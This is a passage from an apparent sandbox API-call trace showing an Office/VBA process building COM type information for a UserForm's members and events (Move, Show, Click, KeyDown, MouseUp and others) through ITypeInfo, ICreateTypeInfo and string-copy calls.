_SizeInWords=0x10, _Source="StartUpPosition" | out: _Destination="StartUpPosition") returned 0x0 [0018.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420aef0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0018.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420aef0, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=5 | out: lpWideCharStr="Move") returned 5 [0018.054] wcscpy_s (in: _Destination=0x6f7fdc0, _SizeInWords=0x5, _Source="Move" | out: _Destination="Move") returned 0x0 [0018.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420afd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0018.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420afd0, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=5 | out: lpWideCharStr="Show") returned 5 [0018.054] wcscpy_s (in: _Destination=0x6f80360, _SizeInWords=0x5, _Source="Show" | out: _Destination="Show") returned 0x0 [0018.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420af38, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0018.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420af38, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=5 | out: lpWideCharStr="Hide") returned 5 [0018.054] wcscpy_s (in: _Destination=0x6f7fe50, _SizeInWords=0x5, _Source="Hide" | out: _Destination="Hide") returned 0x0 [0018.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420af68, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0018.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420af68, cbMultiByte=-1, lpWideCharStr=0x7387468, cchWideChar=10 | out: lpWideCharStr="PrintForm") returned 10 [0018.054] wcscpy_s (in: _Destination=0x6f803c0, _SizeInWords=0xa, _Source="PrintForm" | out: _Destination="PrintForm") returned 0x0 [0018.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420af98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0018.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fef420af98, cbMultiByte=-1, lpWideCharStr=0x7320c28, cchWideChar=14 | out: lpWideCharStr="WhatsThisMode") returned 14 [0018.054] wcscpy_s (in: _Destination=0x7320930, _SizeInWords=0xe, _Source="WhatsThisMode" | out: _Destination="WhatsThisMode") returned 0x0 [0018.054] wcscpy_s (in: _Destination=0x6f7fee0, _SizeInWords=0x7, _Source="Object" | out: _Destination="Object") returned 0x0 [0018.054] wcscpy_s (in: _Destination=0x6f7b2f0, _SizeInWords=0x5, _Source="Name" | out: _Destination="Name") returned 0x0 [0018.054] wcscpy_s (in: _Destination=0x6f7ff70, _SizeInWords=0x7, _Source="Parent" | out: _Destination="Parent") returned 0x0 [0018.055] wcscpy_s (in: _Destination=0x6f78680, _SizeInWords=0x7, _Source="Delete" | out: _Destination="Delete") returned 0x0 [0018.055] wcscpy_s (in: _Destination=0x6f7fca0, _SizeInWords=0x6, _Source="Index" | out: _Destination="Index") returned 0x0 [0018.055] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552b70, ppTypeAttr=0x264530, pDummy=0x747be88 | out: ppTypeAttr=0x264530, pDummy=0x747be88*=0xff673ae0) returned 0x0 [0018.055] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=-1, refPtrFlags=0x264548, pbstrName=0x264540, pBstrDocString=0x264550, pdwHelpContext=0x0, pBstrHelpFile=0x7472a88 | out: pbstrName=0x264540*=0x0, pBstrDocString=0x264550, pdwHelpContext=0x0, pBstrHelpFile=0x7472a88) returned 0x0 [0018.055] ICreateTypeLib:CreateTypeInfo (in: This=0x747be88, szName="FormEvents", tkind=4, ppCTInfo=0x2645f8 | out: ppCTInfo=0x2645f8*=0x759ea60) returned 0x0 [0018.055] ICreateTypeInfo:SetHelpContext (This=0x759ea60, dwHelpContext=0x0) returned 0x0 [0018.055] ICreateTypeInfo:SetVersion (This=0x759ea60, wMajorVerNum=0x0, wMinorVerNum=0x0) returned 0x0 [0018.055] ICreateTypeInfo:SetAlignment (This=0x759ea60, cbAlignment=0x8) returned 0x0 [0018.055] ICreateTypeInfo:SetTypeFlags (This=0x759ea60, uTypeFlags=0x5010) returned 0x0 [0018.055] ICreateTypeInfo:SetGuid (This=0x759ea60, GUID=0x264558*(Data1=0x5b9d8fc8, Data2=0x4a71, Data3=0x101b, Data4=([0]=0x97, [1]=0xa6, [2]=0x0, [3]=0x0, [4]=0xb, [5]=0x65, [6]=0xc0, [7]=0x8b))) returned 0x0 [0018.055] ITypeInfo:LocalReleaseTypeAttr (This=0x7552b70) returned 0x0 [0018.055] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41cf338*(Data1=0x20401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264600 | out: ppvObject=0x264600*=0x759ea68) returned 0x0 [0018.055] IUnknown:QueryInterface (in: This=0x7552b70, riid=0x7fef41cf338*(Data1=0x20401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2645a8 | out: ppvObject=0x2645a8*=0x7552b70) returned 0x0 [0018.055] IUnknown:QueryInterface (in: This=0x759ea68, riid=0x7fef41cf338*(Data1=0x20401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2645a8 | out: ppvObject=0x2645a8*=0x759ea68) returned 0x0 [0018.055] IUnknown:Release (This=0x759ea68) returned 0x2 [0018.055] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552b70, ppTypeAttr=0x2644a8, pDummy=0x264548 | out: ppTypeAttr=0x2644a8, pDummy=0x264548*=0x0) returned 0x0 [0018.055] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x0, ppFuncDesc=0x2644a0, pDummy=0x0 | out: ppFuncDesc=0x2644a0, pDummy=0x0) returned 0x0 [0018.055] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=768, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="AddControl", pcNames=0x2644e8*=0x1) returned 0x0 [0018.055] wcscpy_s (in: _Destination=0x6f811a0, _SizeInWords=0xb, _Source="AddControl" | out: _Destination="AddControl") returned 0x0 [0018.055] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.055] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x1, ppFuncDesc=0x2644a0, pDummy=0xa0 | out: ppFuncDesc=0x2644a0, pDummy=0xa0) returned 0x0 [0018.055] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=3, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="BeforeDragOver", pcNames=0x2644e8*=0x1) returned 0x0 [0018.055] wcscpy_s (in: _Destination=0x7320df0, _SizeInWords=0xf, _Source="BeforeDragOver" | out: _Destination="BeforeDragOver") returned 0x0 [0018.055] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.055] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x2, ppFuncDesc=0x2644a0, pDummy=0x210 | out: ppFuncDesc=0x2644a0, pDummy=0x210) returned 0x0 [0018.055] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=4, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="BeforeDropOrPaste", pcNames=0x2644e8*=0x1) returned 0x0 [0018.055] wcscpy_s (in: _Destination=0x7320c70, _SizeInWords=0x12, _Source="BeforeDropOrPaste" | out: _Destination="BeforeDropOrPaste") returned 0x0 [0018.055] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.055] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x3, ppFuncDesc=0x2644a0, pDummy=0x210 | out: ppFuncDesc=0x2644a0, pDummy=0x210) returned 0x0 [0018.055] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-600, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="Click", pcNames=0x2644e8*=0x1) returned 0x0 [0018.055] wcscpy_s (in: _Destination=0x6f76370, _SizeInWords=0x6, _Source="Click" | out: _Destination="Click") returned 0x0 [0018.055] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.055] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x4, ppFuncDesc=0x2644a0, pDummy=0xa0 | out: ppFuncDesc=0x2644a0, pDummy=0xa0) returned 0x0 [0018.055] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-601, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="DblClick", pcNames=0x2644e8*=0x1) returned 0x0 [0018.055] wcscpy_s (in: _Destination=0x6f7fd30, _SizeInWords=0x9, _Source="DblClick" | out: _Destination="DblClick") returned 0x0 [0018.055] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.055] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x5, ppFuncDesc=0x2644a0, pDummy=0xa0 | out: ppFuncDesc=0x2644a0, pDummy=0xa0) returned 0x0 [0018.055] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-608, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="Error", pcNames=0x2644e8*=0x1) returned 0x0 [0018.055] wcscpy_s (in: _Destination=0x6f7fb80, _SizeInWords=0x6, _Source="Error" | out: _Destination="Error") returned 0x0 [0018.056] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.056] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x6, ppFuncDesc=0x2644a0, pDummy=0x210 | out: ppFuncDesc=0x2644a0, pDummy=0x210) returned 0x0 [0018.056] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-602, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="KeyDown", pcNames=0x2644e8*=0x1) returned 0x0 [0018.056] wcscpy_s (in: _Destination=0x6f7fc10, _SizeInWords=0x8, _Source="KeyDown" | out: _Destination="KeyDown") returned 0x0 [0018.056] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.056] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x7, ppFuncDesc=0x2644a0, pDummy=0x70 | out: ppFuncDesc=0x2644a0, pDummy=0x70) returned 0x0 [0018.056] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-603, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="KeyPress", pcNames=0x2644e8*=0x1) returned 0x0 [0018.056] wcscpy_s (in: _Destination=0x6f7ce80, _SizeInWords=0x9, _Source="KeyPress" | out: _Destination="KeyPress") returned 0x0 [0018.056] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.056] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x8, ppFuncDesc=0x2644a0, pDummy=0xa0 | out: ppFuncDesc=0x2644a0, pDummy=0xa0) returned 0x0 [0018.056] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-604, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="KeyUp", pcNames=0x2644e8*=0x1) returned 0x0 [0018.056] wcscpy_s (in: _Destination=0x6f80120, _SizeInWords=0x6, _Source="KeyUp" | out: _Destination="KeyUp") returned 0x0 [0018.056] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.056] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x9, ppFuncDesc=0x2644a0, pDummy=0x70 | out: ppFuncDesc=0x2644a0, pDummy=0x70) returned 0x0 [0018.056] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=770, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="Layout", pcNames=0x2644e8*=0x1) returned 0x0 [0018.056] wcscpy_s (in: _Destination=0x6f801e0, _SizeInWords=0x7, _Source="Layout" | out: _Destination="Layout") returned 0x0 [0018.056] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.056] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xa, ppFuncDesc=0x2644a0, pDummy=0xa0 | out: ppFuncDesc=0x2644a0, pDummy=0xa0) returned 0x0 [0018.056] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-605, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="MouseDown", pcNames=0x2644e8*=0x1) returned 0x0 [0018.056] wcscpy_s (in: _Destination=0x6f80000, _SizeInWords=0xa, _Source="MouseDown" | out: _Destination="MouseDown") returned 0x0 [0018.056] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.056] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xb, ppFuncDesc=0x2644a0, pDummy=0x70 | out: ppFuncDesc=0x2644a0, pDummy=0x70) returned 0x0 [0018.056] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-606, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="MouseMove", pcNames=0x2644e8*=0x1) returned 0x0 [0018.056] wcscpy_s (in: _Destination=0x6f80090, _SizeInWords=0xa, _Source="MouseMove" | out: _Destination="MouseMove") returned 0x0 [0018.056] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.056] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xc, ppFuncDesc=0x2644a0, pDummy=0x70 | out: ppFuncDesc=0x2644a0, pDummy=0x70) returned 0x0 [0018.056] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=-607, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="MouseUp", pcNames=0x2644e8*=0x1) returned 0x0 [0018.056] wcscpy_s (in: _Destination=0x6f7fa30, _SizeInWords=0x8, _Source="MouseUp" | out: _Destination="MouseUp") returned 0x0 [0018.056] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.056] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xd, ppFuncDesc=0x2644a0, pDummy=0x70 | out: ppFuncDesc=0x2644a0, pDummy=0x70) returned 0x0 [0018.056] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=771, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="RemoveControl", pcNames=0x2644e8*=0x1) returned 0x0 [0018.056] wcscpy_s (in: _Destination=0x7321130, _SizeInWords=0xe, _Source="RemoveControl" | out: _Destination="RemoveControl") returned 0x0 [0018.056] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.056] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xe, ppFuncDesc=0x2644a0, pDummy=0xa0 | out: ppFuncDesc=0x2644a0, pDummy=0xa0) returned 0x0 [0018.056] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=772, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="Scroll", pcNames=0x2644e8*=0x1) returned 0x0 [0018.056] wcscpy_s (in: _Destination=0x6f80270, _SizeInWords=0x7, _Source="Scroll" | out: _Destination="Scroll") returned 0x0 [0018.056] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.056] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xf, ppFuncDesc=0x2644a0, pDummy=0x210 | out: ppFuncDesc=0x2644a0, pDummy=0x210) returned 0x0 [0018.056] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=773, rgBstrNames=0x264490, cMaxNames=0x1, pcNames=0x2644e8 | out: rgBstrNames=0x264490*="Zoom", pcNames=0x2644e8*=0x1) returned 0x0 [0018.056] wcscpy_s (in: _Destination=0x6f802a0, _SizeInWords=0x5, _Source="Zoom" | out: _Destination="Zoom") returned 0x0 [0018.056] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.056] ITypeInfo:LocalReleaseTypeAttr (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552b70, ppTypeAttr=0x2644a0, pDummy=0x264550 | out: ppTypeAttr=0x2644a0, pDummy=0x264550*=0x0) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x0, ppFuncDesc=0x2644e8, pDummy=0x0 | out: ppFuncDesc=0x2644e8, pDummy=0x0) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x1, ppFuncDesc=0x2644e8, pDummy=0xc0 | out: ppFuncDesc=0x2644e8, pDummy=0xc0) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x2, ppFuncDesc=0x2644e8, pDummy=0x210 | out: ppFuncDesc=0x2644e8, pDummy=0x210) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x3, ppFuncDesc=0x2644e8, pDummy=0x210 | out: ppFuncDesc=0x2644e8, pDummy=0x210) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x4, ppFuncDesc=0x2644e8, pDummy=0xc0 | out: ppFuncDesc=0x2644e8, pDummy=0xc0) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x5, ppFuncDesc=0x2644e8, pDummy=0xc0 | out: ppFuncDesc=0x2644e8, pDummy=0xc0) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x6, ppFuncDesc=0x2644e8, pDummy=0x210 | out: ppFuncDesc=0x2644e8, pDummy=0x210) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x7, ppFuncDesc=0x2644e8, pDummy=0xc0 | out: ppFuncDesc=0x2644e8, pDummy=0xc0) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x8, ppFuncDesc=0x2644e8, pDummy=0xc0 | out: ppFuncDesc=0x2644e8, pDummy=0xc0) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x9, ppFuncDesc=0x2644e8, pDummy=0xc0 | out: ppFuncDesc=0x2644e8, pDummy=0xc0) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xa, ppFuncDesc=0x2644e8, pDummy=0xc0 | out: ppFuncDesc=0x2644e8, pDummy=0xc0) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xb, ppFuncDesc=0x2644e8, pDummy=0x70 | out: ppFuncDesc=0x2644e8, pDummy=0x70) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xc, ppFuncDesc=0x2644e8, pDummy=0x70 | out: ppFuncDesc=0x2644e8, pDummy=0x70) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xd, ppFuncDesc=0x2644e8, pDummy=0x70 | out: ppFuncDesc=0x2644e8, pDummy=0x70) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.057] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xe, ppFuncDesc=0x2644e8, pDummy=0xc0 | out: ppFuncDesc=0x2644e8, pDummy=0xc0) returned 0x0 [0018.057] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.058] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0xf, ppFuncDesc=0x2644e8, pDummy=0x210 | out: ppFuncDesc=0x2644e8, pDummy=0x210) returned 0x0 [0018.058] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.058] ITypeInfo:LocalReleaseTypeAttr (This=0x7552b70) returned 0x0 [0018.058] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552b70, ppTypeAttr=0x264358, pDummy=0x1 | out: ppTypeAttr=0x264358, pDummy=0x1) returned 0x0 [0018.058] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x0, ppFuncDesc=0x264338, pDummy=0x264548 | out: ppFuncDesc=0x264338, pDummy=0x264548*=0x6f81190) returned 0x0 [0018.058] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=768, rgBstrNames=0x75746e0, cMaxNames=0x2, pcNames=0x264340 | out: rgBstrNames=0x75746e0*="AddControl", pcNames=0x264340*=0x2) returned 0x0 [0018.058] _wcsicmp (_String1="AddControl", _String2="Initialize") returned -8 [0018.058] _wcsicmp (_String1="AddControl", _String2="Resize") returned -17 [0018.058] _wcsicmp (_String1="AddControl", _String2="QueryClose") returned -16 [0018.058] _wcsicmp (_String1="AddControl", _String2="Activate") returned 1 [0018.058] _wcsicmp (_String1="AddControl", _String2="Deactivate") returned -3 [0018.058] _wcsicmp (_String1="AddControl", _String2="Terminate") returned -19 [0018.058] _wcsicmp (_String1="AddControl", _String2="Object") returned -14 [0018.058] _wcsicmp (_String1="AddControl", _String2="Name") returned -13 [0018.058] _wcsicmp (_String1="AddControl", _String2="Parent") returned -15 [0018.058] _wcsicmp (_String1="AddControl", _String2="Delete") returned -3 [0018.058] _wcsicmp (_String1="AddControl", _String2="Index") returned -8 [0018.058] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x1580, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7552bc8) returned 0x0 [0018.058] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552bc8, ppTypeAttr=0x2643b8, pDummy=0x1580 | out: ppTypeAttr=0x2643b8, pDummy=0x1580) returned 0x0 [0018.058] ITypeInfo:LocalReleaseTypeAttr (This=0x7552bc8) returned 0x0 [0018.058] IUnknown:Release (This=0x7552bc8) returned 0x0 [0018.058] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x1580, ppTInfo=0x2641d0 | out: ppTInfo=0x2641d0*=0x7552bc8) returned 0x0 [0018.058] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552bc8, ppTypeAttr=0x2641e8, pDummy=0x2641b0 | out: ppTypeAttr=0x2641e8, pDummy=0x2641b0*=0x2641f0) returned 0x0 [0018.058] ITypeInfo:LocalReleaseTypeAttr (This=0x7552bc8) returned 0x0 [0018.058] IUnknown:AddRef (This=0x7552b70) returned 0x4 [0018.058] IUnknown:AddRef (This=0x7552bc8) returned 0x2 [0018.058] IUnknown:Release (This=0x7552b70) returned 0x3 [0018.058] IUnknown:Release (This=0x7552bc8) returned 0x1 [0018.058] ICreateTypeInfo:AddRefTypeInfo (This=0x759ea60, pTInfo=0x7552bc8, phRefType=0x264220*=0x0) returned 0x0 [0018.058] IUnknown:Release (This=0x7552bc8) returned 0x0 [0018.058] IUnknown:QueryInterface (in: This=0x759ea60, riid=0x7fef41c67b0*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264310 | out: ppvObject=0x264310*=0x0) returned 0x80004002 [0018.058] ICreateTypeInfo:AddFuncDesc (This=0x759ea60, index=0x0, pFuncDesc=0x74f0e78) returned 0x0 [0018.084] ICreateTypeInfo:SetFuncAndParamNames (This=0x759ea60, index=0x0, rgszNames=0x75746e0*="AddControl", cNames=0x2) returned 0x0 [0018.084] ITypeInfo:GetMops (in: This=0x7552b70, memid=768, pBstrMops=0x264350 | out: pBstrMops=0x264350*=0x0) returned 0x0 [0018.085] ITypeInfo:RemoteGetDocumentation (in: This=0x7552b70, memid=768, refPtrFlags=0x0, pbstrName=0x264360, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0 | out: pbstrName=0x264360*=0x0, pBstrDocString=0x264384, pdwHelpContext=0x0, pBstrHelpFile=0x2643f0*=0x0) returned 0x0 [0018.085] ICreateTypeInfo:SetFuncHelpContext (This=0x759ea60, index=0x0, dwHelpContext=0x1e848a) returned 0x0 [0018.085] ITypeInfo:LocalReleaseFuncDesc (This=0x7552b70) returned 0x0 [0018.085] ITypeInfo:RemoteGetFuncDesc (in: This=0x7552b70, index=0x1, ppFuncDesc=0x264338, pDummy=0x7d01e602c3 | out: ppFuncDesc=0x264338, pDummy=0x7d01e602c3) returned 0x0 [0018.085] ITypeInfo:RemoteGetNames (in: This=0x7552b70, memid=3, rgBstrNames=0x6fde4c0, cMaxNames=0x9, pcNames=0x264340 | out: rgBstrNames=0x6fde4c0*="BeforeDragOver", pcNames=0x264340*=0x9) returned 0x0 [0018.085] _wcsicmp (_String1="BeforeDragOver", _String2="Initialize") returned -7 [0018.085] _wcsicmp (_String1="BeforeDragOver", _String2="Resize") returned -16 [0018.085] _wcsicmp (_String1="BeforeDragOver", _String2="QueryClose") returned -15 [0018.085] _wcsicmp (_String1="BeforeDragOver", _String2="Activate") returned 1 [0018.085] _wcsicmp (_String1="BeforeDragOver", _String2="Deactivate") returned -2 [0018.085] _wcsicmp (_String1="BeforeDragOver", _String2="Terminate") returned -18 [0018.085] _wcsicmp (_String1="BeforeDragOver", _String2="Object") returned -13 [0018.085] _wcsicmp (_String1="BeforeDragOver", _String2="Name") returned -12 [0018.085] _wcsicmp (_String1="BeforeDragOver", _String2="Parent") returned -14 [0018.085] _wcsicmp (_String1="BeforeDragOver", _String2="Delete") returned -2 [0018.085] _wcsicmp (_String1="BeforeDragOver", _String2="Index") returned -7 [0018.085] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x700, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7552c78) returned 0x0 [0018.085] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552c78, ppTypeAttr=0x2643b8, pDummy=0x700 | out: ppTypeAttr=0x2643b8, pDummy=0x700) returned 0x0 [0018.085] ITypeInfo:LocalReleaseTypeAttr (This=0x7552c78) returned 0x0 [0018.085] IUnknown:Release (This=0x7552c78) returned 0x0 [0018.085] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x1580, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7552bc8) returned 0x0 [0018.085] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552bc8, ppTypeAttr=0x2643b8, pDummy=0x264310 | out: ppTypeAttr=0x2643b8, pDummy=0x264310*=0x264400) returned 0x0 [0018.085] ITypeInfo:LocalReleaseTypeAttr (This=0x7552bc8) returned 0x0 [0018.085] IUnknown:Release (This=0x7552bc8) returned 0x0 [0018.085] ITypeInfo:GetRefTypeInfo (in: This=0x7552b70, hreftype=0x900, ppTInfo=0x264378 | out: ppTInfo=0x264378*=0x7552d80) returned 0x0 [0018.085] ITypeInfo:RemoteGetTypeAttr (in: This=0x7552d80, ppTypeAttr=0x2643b8, pDummy=0x900 | out: ppTypeAttr=0x2643b8, pDummy=0x900) returned 0x0 [0018.085] 